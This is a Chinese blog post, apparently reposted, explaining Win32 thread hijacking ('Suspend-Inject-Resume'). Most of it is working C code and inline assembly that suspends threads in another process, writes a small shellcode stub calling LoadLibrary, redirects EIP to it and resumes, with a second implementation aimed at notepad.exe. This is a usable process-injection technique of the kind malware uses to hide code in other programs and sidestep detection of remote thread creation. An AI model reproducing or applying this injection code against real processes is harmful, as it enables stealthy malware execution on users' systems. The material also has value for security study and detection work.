Win32线程劫持-Suspend-Inject-Resume

来源:互联网 发布:大芒果数据库密码 编辑:程序博客网 时间:2024/06/16 14:48

Win32线程劫持-Suspend-Inject-Resume


  • 所谓线程劫持,就是利用目标进程已有的线程执行自己的代码,而不用自己再在目标进程中创建新的线程。其核心就是Suspend(选择目标进程中的一个非等待状态的线程)-Inject(将EIP指向我们已经写入目标进程虚拟地址空间中的代码的起始地址)-Resume(恢复该线程的执行,这样一来目标线程将执行我们的代码),这种方法最关键的一点就是在目标线程执行完我们的代码之后,我们需要确保其返回原来执行的位置并且其通用寄存器以及其它的状态寄存器的状态不变。

  • 核心函数如下

VOID suspendInjectResume(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr) {    /*        This is a mixture from the following sites:            http://syprog.blogspot.com/2012/05/createremotethread-bypass-windows.html            http://www.kdsbest.com/?p=159    */    HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );    HANDLE hSnapshot2 = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );    HANDLE thread = NULL;    THREADENTRY32   te;    THREADENTRY32   te2;    CONTEXT         ctx;    DWORD firstThread = 0;    HANDLE targetThread = NULL;    LPVOID scAddr;    int i;    unsigned char sc[] = {            // Push all flags            0x9C,            // Push all register            0x60,            // Push 3,4,5,6 (dllPathAddr)            0x68, 0xAA, 0xAA, 0xAA, 0xAA,             // Mov eax, 8,9,10, 11 (loadLibAddr)            0xB8, 0xBB, 0xBB, 0xBB, 0xBB,            // Call eax            0xFF, 0xD0,            // Pop all register            0x61,            // Pop all flags            0x9D,            // Ret            0xC3        };    te.dwSize = sizeof(THREADENTRY32);    te2.dwSize = sizeof(THREADENTRY32);    ctx.ContextFlags = CONTEXT_FULL;    sc[3] = ((unsigned int) dllPathAddr & 0xFF);    sc[4] = (((unsigned int) dllPathAddr >> 8 )& 0xFF);    sc[5] = (((unsigned int) dllPathAddr >> 16 )& 0xFF);    sc[6] = (((unsigned int) dllPathAddr >> 24 )& 0xFF);    sc[8] = ((unsigned int) loadLibAddr & 0xFF);    sc[9] = (((unsigned int) loadLibAddr >> 8 )& 0xFF);    sc[10] = (((unsigned int) loadLibAddr >> 16 )& 0xFF);    sc[11] = (((unsigned int) loadLibAddr >> 24 )& 0xFF);    // Suspend Threads    if(Thread32First(hSnapshot, &te)) {        do {            if(te.th32OwnerProcessID == GetProcessId(hHandle)) {                if ( firstThread == 0 )                    firstThread = te.th32ThreadID;                thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te.th32ThreadID);                if(thread != NULL) {                    printf("\t[+] Suspending Thread 0x%08x\n", te.th32ThreadID);                    SuspendThread(thread);                    CloseHandle(thread);                } else {                    printf("\t[+] Could not open thread!\n");                }            }        } while(Thread32Next(hSnapshot, &te));    } else {        printf("\t[+] Could not Thread32First! [%d]\n", GetLastError());        CloseHandle(hSnapshot);        exit(-1);    }    CloseHandle(hSnapshot);    printf("\t[+] Our Launcher Code:\n\t");    for (i=0; i<17; i++)        printf("%02x ",sc[i]);    printf("\n");    //  Get/Save EIP, Inject    printf("\t[+] Targeting Thread 0x%08x\n",firstThread);    targetThread = OpenThread(THREAD_ALL_ACCESS, FALSE, firstThread);    if (GetThreadContext(targetThread, &ctx) == 0)         printf("[!] GetThreadContext Failed!\n");    printf("\t[+] Current Registers: \n\t\tEIP[0x%08x] ESP[0x%08x]\n", ctx.Eip, ctx.Esp);    printf("\t[+] Saving EIP for our return\n");    ctx.Esp -= sizeof(unsigned int);    WriteProcessMemory(hHandle, (LPVOID)ctx.Esp, (LPCVOID)&ctx.Eip, sizeof(unsigned int), NULL);    printf("\t\tEIP[0x%08x] ESP[0x%08x] EBP[0x%08x]\n", ctx.Eip, ctx.Esp, ctx.Ebp);    scAddr = VirtualAllocEx(hHandle, NULL, 17, MEM_COMMIT, PAGE_EXECUTE_READWRITE);    printf("\t[+] Allocating 17 bytes for our Launcher Code [0x%08x][%d]\n", scAddr, GetLastError());    printf ("\t[+] Writing Launcher Code into targetThread [%d]\n", WriteProcessMemory(hHandle, scAddr, (LPCVOID)sc, 17, NULL));    printf("\t[+] Setting EIP to LauncherCode\n");    ctx.Eip = (DWORD)scAddr;    printf("\t\tEIP[0x%08x] ESP[0x%08x]\n", ctx.Eip, ctx.Esp);    if (SetThreadContext(targetThread, &ctx) == 0)         printf("[!] SetThreadContext Failed!\n");    // Resume Threads    hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );    te.dwSize = sizeof(THREADENTRY32);    if(Thread32First(hSnapshot2, &te2)) {        do {            if(te2.th32OwnerProcessID == GetProcessId(hHandle)) {                thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te2.th32ThreadID);                if(thread != NULL) {                    printf("\t[+] Resuming Thread 0x%08x\n", te2.th32ThreadID);                    ResumeThread(thread);                    if (te2.th32ThreadID == firstThread)                         WaitForSingleObject(thread, 5000);                    CloseHandle(thread);                } else {                    printf("\t[+] Could not open thread!\n");                }            }        } while(Thread32Next(hSnapshot2, &te2));    } else {        printf("\t[+] Could not Thread32First! [%d]\n", GetLastError());        CloseHandle(hSnapshot2);        exit(-1);    }    CloseHandle(hSnapshot2);}

之前写的一个比较笨的实现方法


  • 上面的代码是网上的代码,而我之前也写过一个实现,刚刚找到了就贴在这里。

  • 查找目标进程的代码不需要过多的解析了

int _tmain(int argc,char** argv){    CToolhelp           ProceeHelp(TH32CS_SNAPPROCESS);    PROCESSENTRY32      pe = {0};    pe.dwSize = sizeof(pe);    if(ProceeHelp.ProcessFirst(&pe))    {        while(ProceeHelp.ProcessNext(&pe))        {            if(!stricmp(pe.szExeFile,"notepad.exe"))            {                CHAR*           szDll = "\\SimpleDll.dll";                CHAR            szFullPath[MAX_PATH] = {0};                GetCurrentDirectory(MAX_PATH,szFullPath);                strcat(szFullPath,szDll);                if(Inject(pe.th32ProcessID,szFullPath))                {                    ShowMessage(_T("注入成功"));                }                else                {                    ShowMessage(_T("注入失败"));                }                break;            }        }    }    return 0;}
  • 核心的汇编代码
#define MY_EIP      0x12345670#define MY_ST1      0x12345671#define MY_FUN      0x12345673#define MY_END      0x12345674// 告诉编译器,函数代码的汇编语言为自己所写的,不需要编译器添加任何汇编代码,即生成纯汇编// 需要在开始的时候保存上下文标志(push)并在结束的时候回复上下文(pop) 并在结尾添加ret 命令void __declspec(naked) __stdcall ASM_RemoteFunc(){    __asm    {        call    Next;Next:        pushfd;        pushad;        push MY_ST1            mov eax,MY_FUN            call eax            popad;        popfd;        mov DWORD PTR [esp],MY_EIP        ret;        push MY_END    }}PVOID Find_Ptr(PVOID BeginPoint,ULONG_PTR Flags){    PVOID   ret_ptr = NULL;    __asm    {        mov eax,BeginPoint            jmp compdiff:   inc eaxcomp:   mov ebx,[eax]        cmp ebx,Flags            jnz diff            mov ret_ptr,eax    }    return ret_ptr;}

       后面的操作就不详细说了,就是得到LoadLibrary函数的地址,得到DLL path 的地址以及得到原来的EIP 的地址,得到了之后应该修正里面的偏移值,最后根据MY_END的值得到指令的大小等等的类似的操作。

原创粉丝点击